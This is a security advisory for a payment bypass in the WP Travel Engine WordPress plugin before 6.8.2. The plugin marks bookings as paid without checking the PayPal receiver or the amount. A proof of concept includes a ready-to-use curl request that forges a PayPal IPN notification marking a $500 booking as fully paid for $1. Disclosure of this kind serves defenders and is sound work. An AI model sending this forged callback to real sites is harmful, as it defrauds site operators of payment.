WP Travel Engine < 6.8.2 – Unauthenticated Payment Bypass via Missing PayPal IPN Receiver and Amount Verification | CVE 2026-12501

Description

The plugin does not verify that an incoming PayPal payment notification was sent to the site's configured merchant account, nor that the paid amount matches the order total, before marking a booking as paid, allowing unauthenticated attackers to mark bookings as fully paid using a token payment made to an attacker-controlled account.

Proof of Concept

Prerequisites: PayPal Standard selected as the booking payment method. The booking initiator holds a valid payment_key (PayPal embeds it in the notify_url). In the real attack the VERIFIED postback is obtained by the attacker making a genuine token payment to a PayPal account THEY control, setting custom to the victim booking id and notify_url to the victim listener; because the plugin never compares the receiver to the site merchant, that attacker-to-attacker payment is accepted as payment to the victim site.

Steps:
1. Initiate a booking on the victim site for a trip (e.g. a $500 trip), choosing PayPal as the payment method, and capture the booking's payment_key and id.
2. As an unauthenticated attacker, send the IPN callback to the victim listener for that booking, with an attacker-controlled receiver and a token amount:

  curl -s -X POST 'https://TARGET/?payment_key=<KEY>&callback_type=notification' \
    --data-urlencode 'payment_status=Completed' \
    --data-urlencode 'txn_type=web_accept' \
    --data-urlencode 'mc_gross=1.00' \
    --data-urlencode 'mc_currency=USD' \
    --data-urlencode 'txn_id=ATTACKER-TXN-0001' \
    --data-urlencode 'custom=<BOOKING_ID>' \
    --data-urlencode 'receiver_email=attacker@paypal.test' \
    --data-urlencode 'business=attacker@paypal.test'

Result: the victim booking flips from pending to wp_travel_engine_booking_status=booked / wp_travel_engine_booking_payment_status=completed, recording total_paid_amount=1.00 (the attacker's amount, not the $500 total) and the attacker's transaction id. The underpayment ($1.00 vs $500) and the wrong receiver (attacker@paypal.test, not the site's configured merchant) are both accepted; the operator receives nothing.